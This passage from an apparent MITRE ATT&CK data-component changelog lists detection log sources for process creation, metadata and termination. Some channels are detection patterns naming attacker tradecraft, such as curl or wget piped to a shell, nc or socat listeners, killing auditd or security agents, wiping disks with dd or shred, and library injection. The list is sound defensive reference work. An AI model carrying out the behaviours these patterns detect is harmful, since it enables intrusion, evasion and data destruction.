'execve of sleep or ping command within script interpreted by bash/python'}, {'name': 'auditd:SYSCALL', 'channel': 'execve or socket/connect system calls from processes using crypto libraries'}, {'name': 'macos:unifiedlog', 'channel': 'Process using AES/RC4 routines unexpectedly'}, {'name': 'linux:osquery', 'channel': 'execution of known firewall binaries'}, {'name': 'auditd:SYSCALL', 'channel': 'type=EXECVE or SYSCALL for /bin/date, /usr/bin/timedatectl, /sbin/hwclock, /bin/cat /etc/timezone, /bin/cat /proc/uptime'}, {'name': 'linux:osquery', 'channel': "execve: command like 'date', 'timedatectl', 'hwclock', 'cat /etc/timezone'"}, {'name': 'macos:unifiedlog', 'channel': 'process exec events of systemsetup, date, ioreg with command_line parameters indicating time discovery'}, {'name': 'macos:endpointsecurity', 'channel': 'exec: binary == "/usr/sbin/systemsetup" and args contains "-gettimezone"'}, {'name': 'macos:osquery', 'channel': "execve: command LIKE '%systemsetup -gettimezone%' OR '%date%'"}, {'name': 'macos:unifiedlog', 'channel': 'execution of osascript, curl, or unexpected automation'}, {'name': 'macos:unifiedlog', 'channel': 'exec /usr/bin/pwpolicy'}, {'name': 'auditd:SYSCALL', 'channel': 'socket(AF_PACKET|AF_INET, SOCK_RAW, *), setsockopt(… SO_ATTACH_FILTER|SO_ATTACH_BPF …), bpf(cmd=BPF_PROG_LOAD), open/openat path="/dev/bpf*" (BSD/macOS-like) or setcap cap_net_raw.'}, {'name': 'linux:syslog', 'channel': 'KERN messages about eBPF program load/verify or LSM denials related to bpf.'}, {'name': 'OpenBSM:AuditTrail', 'channel': 'open/openat of /dev/bpf*; ioctl BIOCSETF-like operations.'}, {'name': 'macos:unifiedlog', 'channel': 'Exec of tcpdump, rvictl, custom tools linked to libpcap.A.dylib; sysextd/systemextensionsctl events for NetworkExtension content filters.'}, {'name': 'auditd:EXECVE', 'channel': '/usr/sbin/postfix, /usr/sbin/exim, /usr/sbin/sendmail'}, {'name': 'auditd:SYSCALL', 'channel': 'execution of known flash tools (e.g., flashrom, fwupd)'}, {'name': 'macos:unifiedlog', 'channel': 'com.apple.firmwareupdater activity or update-firmware binary invoked'}, {'name': 'auditd:SYSCALL', 'channel': 'execve of system tools like dmidecode, lspci, lscpu, dmesg, systemd-detect-virt'}, {'name': 'macos:unifiedlog', 'channel': "exec or spawn of 'system_profiler', 'ioreg', 'kextstat', 'sysctl', or calls to sysctl API"}, {'name': 'macos:endpointSecurity', 'channel': 'ES_EVENT_TYPE_NOTIFY_EXEC'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Suspicious binaries or scripts interacting with authentication binaries (sshd, gdm, login)'}, {'name': 'macos:osquery', 'channel': 'execve: Processes unexpectedly invoking Keychain or authentication APIs'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: execve calls where a browser/webview process is parent and child is interpreter (python, sh, ruby) or downloader (curl, wget)'}, {'name': 'macos:unifiedlog', 'channel': 'process_create: Process creation where parent is Safari/Google Chrome and child is script interpreter or signed-but-unusual helper binary'}, {'name': 'auditd:EXECVE', 'channel': 'None'}, {'name': 'macos:unifiedlog', 'channel': 'process:launch'}, {'name': 'auditd:EXECVE', 'channel': 'Shell commands invoked by SQL process such as postgres, mysqld, or mariadbd'}, {'name': 'auditd:SYSCALL', 'channel': 'execve of smbclient, smbmap, rpcclient, nmblookup, crackmapexec smb'}, {'name': 'macos:endpointsecurity', 'channel': 'ES_EVENT_TYPE_NOTIFY_EXEC: Process execution of "sharing -l", "smbutil view", "mount_smbfs"'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of scp, rsync, curl with remote destination'}, {'name': 'macos:unifiedlog', 'channel': 'logMessage contains pbpaste or osascript'}, {'name': 'auditd:SYSCALL', 'channel': 'execve call with argv matching known disk enumeration commands (lsblk, parted, fdisk)'}, {'name': 'macos:unifiedlog', 'channel': 'process launch of diskutil or system_profiler with SPStorageDataType'}, {'name': 'esxi:hostd', 'channel': "execution of esxcli with args matching 'storage', 'filesystem', 'core device list'"}, {'name': 'macos:unifiedlog', 'channel': 'Mail.app executing with parameters updating rules state'}, {'name': 'esxi:shell', 'channel': '/var/log/vmkernel.log, /var/log/vmkwarning.log'}, {'name': 'macos:endpointsecurity', 'channel': 'exec: Exec of ffmpeg, avfoundation-based binaries, or custom signed apps accessing camera'}, {'name': 'kubernetes:apiserver', 'channel': 'exec into pod followed by secret retrieval via API'}, {'name': 'macos:unifiedlog', 'channel': 'process_name IN ("VBoxManage", "prlctl") AND command CONTAINS ("list", "show")'}, {'name': 'macos:unifiedlog', 'channel': 'exec srm|exec openssl|exec gpg'}, {'name': 'linux:osquery', 'channel': 'Process execution with LD_PRELOAD or modified library path'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of process with DYLD_INSERT_LIBRARIES set'}, {'name': 'linux:Sysmon', 'channel': 'process creation events linked to container namespaces executing host-level binaries'}, {'name': 'WinEventlog:Security', 'channel': 'EventCode=4688'}, {'name': 'macos:unifiedlog', 'channel': 'process and signing chain events'}, {'name': 'macos:unifiedlog', 'channel': 'launchservices events for misleading extensions'}, {'name': 'fs:fsusage', 'channel': 'Execution of disguised binaries'}, {'name': 'linux:osquery', 'channel': 'process listening or connecting on non-standard ports'}, {'name': 'macos:unifiedlog', 'channel': 'launchd services binding to non-standard ports'}, {'name': 'auditd:SYSCALL', 'channel': 'execve, connect'}, {'name': 'esxi:cron', 'channel': 'process or cron activity'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of binaries with unsigned or anomalously signed certificates'}, {'name': 'auditd:SYSCALL', 'channel': 'execve logging for /usr/bin/systemctl and systemd-run'}, {'name': 'macos:osquery', 'channel': 'Invocation of osascript or dylib injection'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Execution of files saved in mail or download directories'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of Terminal, osascript, or other interpreters originating from Mail or Preview'}, {'name': 'macos:unifiedlog', 'channel': 'process events'}, {'name': 'linux:syslog', 'channel': 'Unauthorized sudo or shell access, especially leading to file changes in /var/www or /srv/http'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of unexpected terminal or web scripts modifying /Library/WebServer/Documents'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Execution of CLI tools like psql, mysql, mongo, sqlite3'}, {'name': 'macos:unifiedlog', 'channel': 'Process start of Java or native DB client tools'}, {'name': 'macos:unifiedlog', 'channel': 'loginwindow or tccd-related entries'}, {'name': 'macos:osquery', 'channel': 'query: process_events, launchd, and tcc.db access'}, {'name': 'ebpf:syscalls', 'channel': 'process execution or network connect from just-created container PID namespace'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Execution of pip, npm, gem, or similar package managers'}, {'name': 'macos:unifiedlog', 'channel': 'Command line invocation of pip3, brew install, npm install from interactive Terminal'}, {'name': 'auditd:SYSCALL', 'channel': 'fork/exec of service via PID 1 (systemd)'}, {'name': 'auditd:EXECVE', 'channel': 'Execution of ssh/scp/sftp without corresponding authentication log'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of ssh or sftp without corresponding login event'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: execve where exe=/usr/bin/python3 or similar interpreter'}, {'name': 'macos:unifiedlog', 'channel': 'launch of remote desktop app or helper binary'}, {'name': 'macos:unifiedlog', 'channel': 'Unexpected processes making network calls based on DNS-derived ports'}, {'name': 'macos:unifiedlog', 'channel': 'launchctl spawning new processes'}, {'name': 'macos:unifiedlog', 'channel': 'launchctl activity and process creation'}, {'name': 'containerd:events', 'channel': 'New container with suspicious image name or high resource usage'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of Python, Swift, or other binaries invoking archiving libraries'}, {'name': 'linux:osquery', 'channel': 'Processes linked with libssl or crypto libraries making outbound connections'}, {'name': 'macos:unifiedlog', 'channel': 'Process invoking SSL routines from Security framework'}, {'name': 'auditd:SYSCALL', 'channel': 'Execution of binaries located in /etc/init.d/ or systemd service paths'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of binary listed in newly modified LaunchAgent plist'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of bless or nvram modifying boot parameters'}, {'name': 'macos:unifiedlog', 'channel': 'Unexpected processes registered with launchd'}, {'name': 'macos:unifiedlog', 'channel': 'Process launch'}, {'name': 'macos:unifiedlog', 'channel': 'execution of curl, osascript, or unexpected Office processes'}, {'name': 'macos:osquery', 'channel': 'exec'}, {'name': 'macos:unifiedlog', 'channel': 'Trust validation failures or bypass attempts during notarization and code signing checks'}, {'name': 'esxi:vmkernel', 'channel': 'spawned shell or execution environment activity'}, {'name': 'macos:unifiedlog', 'channel': 'process_exec: image in {/bin/bash,/bin/zsh,/usr/bin/osascript,/usr/bin/python*,/usr/bin/curl,/usr/bin/ssh,/usr/bin/open} AND parent in {Preview, TextEdit, Microsoft Word, Microsoft Excel, AdobeReader, Archive Utility, Finder}'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: exe in {/bin/bash,/bin/sh,/usr/bin/python*,/usr/bin/perl,/usr/bin/php,/usr/bin/node,/usr/bin/curl,/usr/bin/wget,/usr/bin/xdg-open,/usr/bin/ssh,/usr/bin/rundll32 (wine)} AND ppid process is a document viewer/browser'}, {'name': 'auditd:EXECVE', 'channel': 'Execution of dd/sgdisk with arguments writing to sector 0 or partition table'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of zip, ditto, hdiutil, or openssl by processes not normally associated with archiving'}, {'name': 'macos:unifiedlog', 'channel': 'process execution events for chmod, chown, chflags with unusual parameters or targets'}, {'name': 'm365:defender', 'channel': 'AdvancedHunting(DeviceEvents, ProcessCreate, ImageLoad, AMSI/ETW derived signals)'}, {'name': 'macos:unifiedlog', 'channel': 'execve or dylib load from memory without backing file'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Commands that alter firewall or start listeners: iptables|nft|ufw|firewall-cmd|pfctl|systemctl start sshd/telnet/dropbear; raw-socket/libpcap tools (tcpdump, tshark, nmap --raw).'}, {'name': 'macos:unifiedlog', 'channel': 'exec: Execution of pfctl, socketfilterfw, launchctl start ssh/telnet, libpcap consumers.'}, {'name': 'esxi:shell', 'channel': 'Shell Execution'}, {'name': 'macos:unifiedlog', 'channel': 'Unusual child process tree indicating attempted recovery after crash'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Execution of binaries/scripts presenting false health messages for security daemons'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of processes mimicking Apple Security & Privacy GUIs'}, {'name': 'WinEventLog:Microsoft-Windows-Security-Auditing', 'channel': 'EventCode=4688'}, {'name': 'auditd:SYSCALL', 'channel': 'execve, setifflags'}, {'name': 'macos:osquery', 'channel': "process_events where path like '%tcpdump%'"}, {'name': 'auditd:EXECVE', 'channel': 'Execution of dd, shred, or wipe with arguments targeting block devices'}, {'name': 'auditd:EXECVE', 'channel': 'systemctl stop auditd, kill -9 , or modifications to /etc/selinux/config'}, {'name': 'macos:unifiedlog', 'channel': 'execution of curl, git, or Office processes with network connections'}, {'name': 'macos:unifiedlog', 'channel': 'log stream - process subsystem'}, {'name': 'auditd:SYSCALL', 'channel': 'execve calls for qemu-system*, kvm, or VBoxHeadless'}, {'name': 'macos:unifiedlog', 'channel': 'Process execution for VBoxHeadless, prl_vm_app, vmware-vmx'}, {'name': 'macos:unifiedlog', 'channel': 'process logs'}, {'name': 'esxi:shell', 'channel': 'None'}, {'name': 'auditd:SYSCALL', 'channel': 'execve of interpreters (python, perl), custom binaries, or shell utilities with long arguments containing non-standard tokens'}, {'name': 'macos:endpointsecurity', 'channel': 'ES_EVENT_TYPE_NOTIFY_EXEC: arguments contain long, non-standard tokens / custom alphabets'}, {'name': 'macos:unifiedlog', 'channel': 'command line or log output shows non-standard encoding routines'}, {'name': 'esxi:shell', 'channel': 'commands containing long non-standard tokens or custom lookup tables'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of /usr/sbin/installer spawning child process from within /private/tmp or package contents'}, {'name': 'auditd:SYSCALL', 'channel': 'Execution of dpkg or rpm followed by fork/execve from within postinst, prerm, etc.'}, {'name': 'macos:unifiedlog', 'channel': 'execve: Helper tools invoked through XPC executing unexpected binaries'}, {'name': 'macos:unifiedlog', 'channel': 'execution of modified binary without valid signature'}, {'name': 'auditd:SYSCALL', 'channel': "execve: exe in (/usr/bin/bash,/usr/bin/sh,/usr/bin/zsh,/usr/bin/python*) AND cmdline matches '(curl|wget).*(\\||\\|\\s*sh|bash)|base64\\s*-d|python\\s*-c'"}, {'name': 'macos:unifiedlog', 'channel': "exec: ParentImage in (Terminal, iTerm2) AND Image in (/bin/zsh,/bin/bash,/usr/bin/python*) AND CommandLine matches '(curl|wget).*(\\||\\|\\s*sh|bash)|base64 -D|python -c'"}, {'name': 'macos:unifiedlog', 'channel': 'process created with repeated ICMP or UDP flood behavior'}, {'name': 'fs:fsusage', 'channel': 'binary execution of security_authtrampoline'}, {'name': 'macos:unifiedlog', 'channel': 'process: exec'}, {'name': 'esxi:vmkernel', 'channel': 'Exec'}, {'name': 'macos:unifiedlog', 'channel': 'Child processes of Safari, Chrome, or Firefox executing scripting interpreters'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of older or non-standard interpreters'}, {'name': 'linux:osquery', 'channel': 'process execution events for permission modification utilities with command-line analysis'}, {'name': 'macos:unifiedlog', 'channel': 'process execution events for chmod, chown, chflags with parameter analysis and target path examination'}, {'name': 'macos:osquery', 'channel': 'process execution monitoring for permission modification utilities with command-line argument analysis'}, {'name': 'auditd:SYSCALL', 'channel': 'Invocation of packet generation tools (e.g., hping3, nping) or fork bombs'}, {'name': 'macos:osquery', 'channel': 'Execution of flooding tools or compiled packet generators'}, {'name': 'esxi:hostd', 'channel': 'process'}, {'name': 'auditd:SYSCALL', 'channel': 'execve for proxy tools'}, {'name': 'macos:unifiedlog', 'channel': 'process, socket, and DNS logs'}, {'name': 'macos:osquery', 'channel': 'process_events table'}, {'name': 'macos:unifiedlog', 'channel': "Command line containing `trap` or `echo 'trap` written to login shell files"}, {'name': 'macos:unifiedlog', 'channel': 'log collect --predicate'}, {'name': 'auditd:SYSCALL', 'channel': 'execve or nanosleep with no stdout/stderr I/O'}, {'name': 'macos:unifiedlog', 'channel': 'launchd or osascript spawns process with delay command'}, {'name': 'linux:syslog', 'channel': 'systemd-udevd spawning user-defined action from RUN+='}, {'name': 'ebpf:syscalls', 'channel': 'execve'}, {'name': 'macos:unifiedlog', 'channel': 'process:spawn'}, {'name': 'macos:unifiedlog', 'channel': 'log stream --predicate \'eventMessage contains "exec"\''}, {'name': 'auditd:EXECVE', 'channel': 'cat|less|grep accessing .bash_history from a non-shell process'}, {'name': 'auditd:EXECVE', 'channel': 'Process execution via .desktop Exec path from /etc/xdg/autostart or ~/.config/autostart'}, {'name': 'auditd:SYSCALL', 'channel': 'Execution of dpkg, rpm, or other package manager with list flag'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of system_profiler or osascript invoking enumeration'}, {'name': 'auditd:SYSCALL', 'channel': 'apache2 or nginx spawning sh, bash, or python interpreter'}, {'name': 'macos:unifiedlog', 'channel': 'httpd spawning bash, zsh, python, or osascript'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of /usr/libexec/security_authtrampoline or child processes originating from non-trusted binaries triggering credential prompts'}, {'name': 'macos:unifiedlog', 'channel': 'execution of security or osascript'}, {'name': 'WinEventLog:security', 'channel': 'EventCode=4688'}, {'name': 'macos:unifiedlog', 'channel': 'launchd spawning processes tied to new or modified LaunchDaemon .plist entries'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of ping, nping, or crafted network packets via bash or python to reflection services'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Execution of commands modifying iptables/nftables to block selective IPs'}, {'name': 'macos:unifiedlog', 'channel': 'System process modifications altering DNS/proxy settings'}, {'name': 'containerd:Events', 'channel': 'unusual process spawned from container image context'}, {'name': 'macos:osquery', 'channel': 'curl, python scripts, rsync with internal share URLs'}, {'name': 'macos:unifiedlog', 'channel': 'process: spawn, exec'}, {'name': 'macos:osquery', 'channel': 'Rapid spawning of resource-heavy applications (e.g., Preview, Safari, Office)'}, {'name': 'macos:unifiedlog', 'channel': 'Process creation events where command line = pmset with arguments affecting sleep, hibernatemode, displaysleep'}, {'name': 'macos:unifiedlog', 'channel': 'Unexpected apps performing repeated DNS lookups'}, {'name': 'macos:unifiedlog', 'channel': 'launchservices or loginwindow events'}, {'name': 'auditd:SYSCALL', 'channel': 'execve with LD_PRELOAD or linker-related environment variables set'}, {'name': 'macos:unifiedlog', 'channel': 'execution of process with DYLD_INSERT_LIBRARIES set'}, {'name': 'macos:unifiedlog', 'channel': 'Suspicious Swift/Objective-C or scripting processes writing archive-like outputs'}, {'name': 'auditd:SYSCALL', 'channel': 'execve of re-parented process'}, {'name': 'linux:osquery', 'channel': 'Anomalous parent PID change'}, {'name': 'macos:unifiedlog', 'channel': 'Process creation with parent PID of 1 (launchd)'}, {'name': 'linux:osquery', 'channel': 'child process invoking dynamic linker post-ptrace'}, {'name': 'macos:osquery', 'channel': 'Processes executing kextload, spctl, or modifying kernel extension directories'}, {'name': 'macos:osquery', 'channel': 'Unsigned or ad-hoc signed process executions in user contexts'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of diskutil or hdiutil attaching hidden partitions'}, {'name': 'macos:unifiedlog', 'channel': 'process execution events for discovery utilities (system_profiler, sw_vers, dscl, networksetup) with command-line parameter analysis'}, {'name': 'macos:osquery', 'channel': 'process event monitoring with focus on discovery utilities and cryptographic framework usage correlation'}, {'name': 'macos:unifiedlog', 'channel': 'Unexpected apps generating frequent DNS queries'}, {'name': 'macos:unifiedlog', 'channel': 'process exec'}, {'name': 'auditd:SYSCALL', 'channel': 'socket: Suspicious creation of AF_UNIX sockets outside expected daemons'}, {'name': 'macos:unifiedlog', 'channel': 'Non-standard processes invoking financial applications or payment APIs'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Agent/headless flags (listen/connect/reverse/tunnel) or remote-control binaries spawning shells'}, {'name': 'auditd:SYSCALL', 'channel': 'systemctl enable/start: Creation/enablement of custom .service units in /etc/systemd/system'}, {'name': 'macos:unifiedlog', 'channel': 'Process exec of remote-control apps or binaries with headless/connect flags'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: systemctl stop, service stop, or kill -9 on security daemons (e.g., falcon-sensor, auditd)'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of launchctl unload, kill, or removal of security agent daemons'}, {'name': 'macos:unifiedlog', 'channel': 'process activity, exec events'}, {'name': 'macos:unifiedlog', 'channel': 'log stream process subsystem'}, {'name': 'macos:unifiedlog', 'channel': 'process:exec and kext load events'}, {'name': 'macos:unifiedlog', 'channel': 'log stream --info --predicate \'eventMessage CONTAINS "exec"\''}, {'name': 'WinEventLog:Microsoft-Windows-DotNETRuntime', 'channel': 'Unexpected AppDomain creation events or anomalous AppDomainManager assembly load behavior'}, {'name': 'auditd:SYSCALL', 'channel': 'Execution of network stress tools or anomalies in socket/syscall behavior'}, {'name': 'macos:unifiedlog', 'channel': 'Unsigned binary execution following SIP change'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Commands altering firewall or enabling listeners (iptables, nft, ufw, firewall-cmd, systemctl start *ssh*/*telnet*, ip route add, tcpdump, tshark)'}, {'name': 'macos:unifiedlog', 'channel': 'exec: Execution of /sbin/pfctl, /usr/libexec/ApplicationFirewall/socketfilterfw, ifconfig, tcpdump, npcap/libpcap consumers'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of zip, ditto, hdiutil, or openssl by non-terminal parent processes'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of binaries with TCC protected access under unexpected parent processes such as Finder.app, SystemUIServer, or nsurlsessiond'}, {'name': 'WinEventLog:AppLocker', 'channel': 'EventCode=8003,8004'}, {'name': 'auditd:SYSCALL', 'channel': 'execve, unlink'}, {'name': 'macos:osquery', 'channel': 'launchd, processes'}, {'name': 'linux:osquery', 'channel': 'socat, ssh, or nc processes opening unexpected ports'}, {'name': 'macos:unifiedlog', 'channel': 'process execution of ssh with -L/-R forwarding flags'}, {'name': 'macos:unifiedlog', 'channel': 'launchd or cron spawning mining binaries'}, {'name': 'auditd:SYSCALL', 'channel': 'execve or socket/connect system calls for processes using RSA handshake'}, {'name': 'macos:unifiedlog', 'channel': 'Process invoking SecKeyCreateRandomKey or asymmetric crypto APIs'}, {'name': 'azure:vmguest', 'channel': 'Unexpected execution of cloud agent processes (e.g., WindowsAzureGuestAgent.exe, ssm-agent) followed by arbitrary script or binary execution'}, {'name': 'macos:unifiedlog', 'channel': 'Script interpreter invoked by nginx/apache worker process'}, {'name': 'macos:unifiedlog', 'channel': 'execution of Office binaries with network activity'}, {'name': 'macos:unifiedlog', 'channel': 'launch of bash/zsh/python/osascript targeting key file locations'}, {'name': 'macos:unifiedlog', 'channel': 'execution of /sbin/emond with child processes launched'}, {'name': 'etw:Microsoft-Windows-Kernel-Process', 'channel': 'provider: ETW CreateProcess events linking msbuild.exe to suspicious children where standard logs are incomplete'}, {'name': 'macos:unifiedlog', 'channel': 'shutdown -h now or reboot'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of Code.app, idea, JetBrainsToolbox, eclipse with install/extension flags'}, {'name': 'macos:unifiedlog', 'channel': 'process execution events for system discovery utilities (system_profiler, sysctl, networksetup, ioreg) with parameter analysis'}, {'name': 'OpenBSM:AuditTrail', 'channel': 'BSM audit events for process execution and system call monitoring during reconnaissance'}, {'name': 'esxi:hostd', 'channel': 'host daemon events related to VM operations and configuration queries during reconnaissance'}, {'name': 'esxi:vmkernel', 'channel': 'VMware kernel events for hardware and system configuration access during environmental validation'}, {'name': 'linux:osquery', 'channel': 'processes modifying environment variables related to history logging'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: parent process is usb/hid device handler, child process bash/python invoked'}, {'name': 'macos:unifiedlog', 'channel': 'execution of curl, rclone, or Office apps invoking network sessions'}, {'name': 'macos:unifiedlog', 'channel': 'exec: Execution of kextstat, kextfind, or ioreg targeting driver information'}, {'name': 'macos:endpointsecurity', 'channel': 'exec events'}, {'name': 'macos:unifiedlog', 'channel': 'Process creation involving binaries interacting with resource fork data'}, {'name': 'macos:unifiedlog', 'channel': 'process event'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Execution of suspicious exploit binaries targeting security daemons'}, {'name': 'macos:osquery', 'channel': 'execve: Unsigned or unnotarized processes launched with high privileges'}, {'name': 'macos:unifiedlog', 'channel': 'security OR injection attempts into 1Password OR LastPass'}]
values_changed
STIX FieldOld valueNew Value
modified2025-04-18 15:10:27.797000+00:002025-10-21 19:28:39.339000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version1.22.0
x_mitre_data_source_refx-mitre-data-source--e8b8ede7-337b-4c0c-8c32-5c7872c1ee22

[DC0034] Process Metadata

Current version: 2.0

Version changed from: 1.0 → 2.0

Details
dictionary_item_added
STIX FieldOld valueNew Value
external_references[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0034', 'external_id': 'DC0034'}]
x_mitre_log_sources[{'name': 'Process', 'channel': 'None'}, {'name': 'macos:unifiedlog', 'channel': 'subsystem=com.apple.process'}, {'name': 'WinEventLog:Microsoft-Windows-CodeIntegrity/Operational', 'channel': 'CodeIntegrity/WDAC events indicating unsigned/invalid DLL loads'}, {'name': 'linux:syslog', 'channel': 'sudo or service accounts invoking loaders with suspicious env vars'}, {'name': 'macos:osquery', 'channel': 'Process Context'}, {'name': 'esxi:auth', 'channel': 'user session'}, {'name': 'networkdevice:syslog', 'channel': 'Admin activity'}, {'name': 'auditd:SYSCALL', 'channel': 'execve call for sudo where euid != uid'}, {'name': 'macos:unifiedlog', 'channel': 'subsystem=com.apple.TCC'}, {'name': 'macos:unifiedlog', 'channel': 'exec of binary with setuid/setgid and EUID != UID'}, {'name': 'macos:unifiedlog', 'channel': 'process'}, {'name': 'auditd:SYSCALL', 'channel': 'Use of fork/exec with DISPLAY unset or redirected'}, {'name': 'EDR:Telemetry', 'channel': 'Process lineage and API usage enrichment (GetSystemTime, GetTimeZoneInformation, NtQuerySystemTime)'}, {'name': 'esxi:hostd', 'channel': '/var/log/hostd.log API calls reading/altering time/ntp settings'}, {'name': 'auditd:SYSCALL', 'channel': 'execve, prctl, or ptrace activity affecting process memory or command-line arguments'}, {'name': 'linux:osquery', 'channel': 'Cross-reference argv[0] with actual executable path and parent process metadata'}, {'name': 'WinEventLog:AppLocker', 'channel': 'AppLocker audit/blocks showing developer utilities executing scripts/binaries outside policy'}, {'name': 'EDR:hunting', 'channel': 'Correlation of signer info, parent-child lineage, rare invocation context (user host role), and API surfaces (CreateProcess*, LoadLibrary*)'}, {'name': 'WinEventLog:Microsoft-Windows-Security-Mitigations/KernelMode', 'channel': 'ETW telemetry indicating ClickOnce deployment (dfsvc.exe) launching payloads'}, {'name': 'etw:Microsoft-Windows-ClickOnce', 'channel': 'provider: Event Tracing for Windows (ETW) events associated with ClickOnce deployment (dfsvc.exe activity)'}, {'name': 'WinEventLog:Microsoft-Windows-Windows Camera Frame Server/Operational', 'channel': 'Process session start/stop events for camera pipeline by unexpected executables'}, {'name': 'linux:osquery', 'channel': "select: path LIKE '/dev/video%'"}, {'name': 'linux:osquery', 'channel': 'state=attached/debugged'}, {'name': 'macos:unifiedlog', 'channel': 'Code Execution & Entitlement Access'}, {'name': 'macos:unifiedlog', 'channel': 'Process opening SSH_AUTH_SOCK or /tmp/ssh-* socket not owned by same UID'}, {'name': 'macos:unifiedlog', 'channel': 'code signature/memory protection'}, {'name': 'auditd:SYSCALL', 'channel': 'execve with UID ≠ EUID'}, {'name': 'auditd:SYSCALL', 'channel': 'execve with escalated privileges'}, {'name': 'AWS:CloudTrail', 'channel': 'cross-account or unexpected assume role'}, {'name': 'macos:unifiedlog', 'channel': 'log collect from launchd and process start'}, {'name': 'containerd:events', 'channel': 'Docker or containerd image pulls and process executions'}, {'name': 'linux:syslog', 'channel': 'Kernel or daemon warnings of downgraded TLS or cryptographic settings'}, {'name': 'macos:unifiedlog', 'channel': 'Modifications or writes to EFI system partition for downgraded bootloaders'}, {'name': 'macos:unifiedlog', 'channel': 'non-shell process tree accessing bash history'}, {'name': 'linux:osquery', 'channel': 'process metadata mismatch between /proc and runtime attributes'}, {'name': 'linux:osquery', 'channel': 'process environment variables containing LD_PRELOAD'}, {'name': 'WinEventLog:PowerShell', 'channel': 'EventCode=400,403'}, {'name': 'macos:osquery', 'channel': 'Process Execution + Hash'}, {'name': 'etw:Microsoft-Windows-Kernel-Process', 'channel': 'process_start: EventHeader.ProcessId true parent vs reported PPID mismatch'}, {'name': 'macos:endpointsecurity', 'channel': 'ES_EVENT_TYPE_NOTIFY_EXEC, ES_EVENT_TYPE_NOTIFY_MMAP'}, {'name': 'WinEventLog:Microsoft-Windows-CodeIntegrity/Operational', 'channel': 'Unsigned/invalid signature modules or images loaded by msbuild.exe or its children'}, {'name': 'WinEventLog:Microsoft-Windows-DeviceGuard/Operational', 'channel': 'WDAC policy audit/block affecting msbuild.exe spawned payloads'}, {'name': 'WinEventLog:Microsoft-Windows-SmartAppControl/Operational', 'channel': 'Smart App Control decisions (audit/block) for msbuild.exe-launched executables'}, {'name': 'WinEventLog:Microsoft-Windows-CodeIntegrity/Operational', 'channel': 'Unsigned or untrusted modules loaded during JamPlus.exe runtime'}]
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_source_refx-mitre-data-source--e8b8ede7-337b-4c0c-8c32-5c7872c1ee22
values_changed
STIX FieldOld valueNew Value
modified2025-04-18 15:10:37.873000+00:002025-10-21 15:14:35.331000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version1.02.0

[DC0033] Process Termination

Current version: 2.0

Version changed from: 1.1 → 2.0

Details
dictionary_item_added
STIX FieldOld valueNew Value
external_references[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0033', 'external_id': 'DC0033'}]
x_mitre_log_sources[{'name': 'Process', 'channel': 'None'}, {'name': 'WinEventLog:Sysmon', 'channel': 'EventCode=5'}, {'name': 'linux:syslog', 'channel': 'Unexpected termination of daemons or critical services not aligned with admin change tickets'}, {'name': 'macos:osquery', 'channel': 'process_termination: Unexpected termination of processes tied to vulnerable or high-value services'}, {'name': 'esxi:hostd', 'channel': 'Log entries indicating VM powered off or forcibly terminated'}, {'name': 'macos:unifiedlog', 'channel': 'Terminal process killed (killall Terminal) immediately after sudoers modification'}, {'name': 'auditd:SYSCALL', 'channel': 'exit_group'}, {'name': 'macos:unifiedlog', 'channel': 'process.*exit.*code'}, {'name': 'linux:osquery', 'channel': 'unexpected termination of syslog or rsyslog processes'}, {'name': 'auditd:SYSCALL', 'channel': 'Process segfault or abnormal termination after invoking vulnerable syscall sequence'}, {'name': 'auditd:SYSCALL', 'channel': 'kill syscalls targeting logging/security processes'}, {'name': 'macos:unifiedlog', 'channel': 'Termination of syspolicyd or XProtect processes'}, {'name': 'docker:runtime', 'channel': 'Termination of monitoring sidecar or security container'}]
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_source_refx-mitre-data-source--e8b8ede7-337b-4c0c-8c32-5c7872c1ee22
values_changed
STIX FieldOld valueNew Value
modified2025-04-18 15:10:34.519000+00:002025-10-21 15:14:36.181000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version1.12.0

[DC0115] Protected Configuration

Current version: 2.0

Version changed from: 1.0 → 2.0

Details
dictionary_item_added
STIX FieldOld valueNew Value
external_references[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0115', 'external_id': 'DC0115'}]
x_mitre_log_sources[{'name': 'Application Vetting', 'channel': 'None'}]
dictionary_item_removed
STIX FieldOld valueNew Value
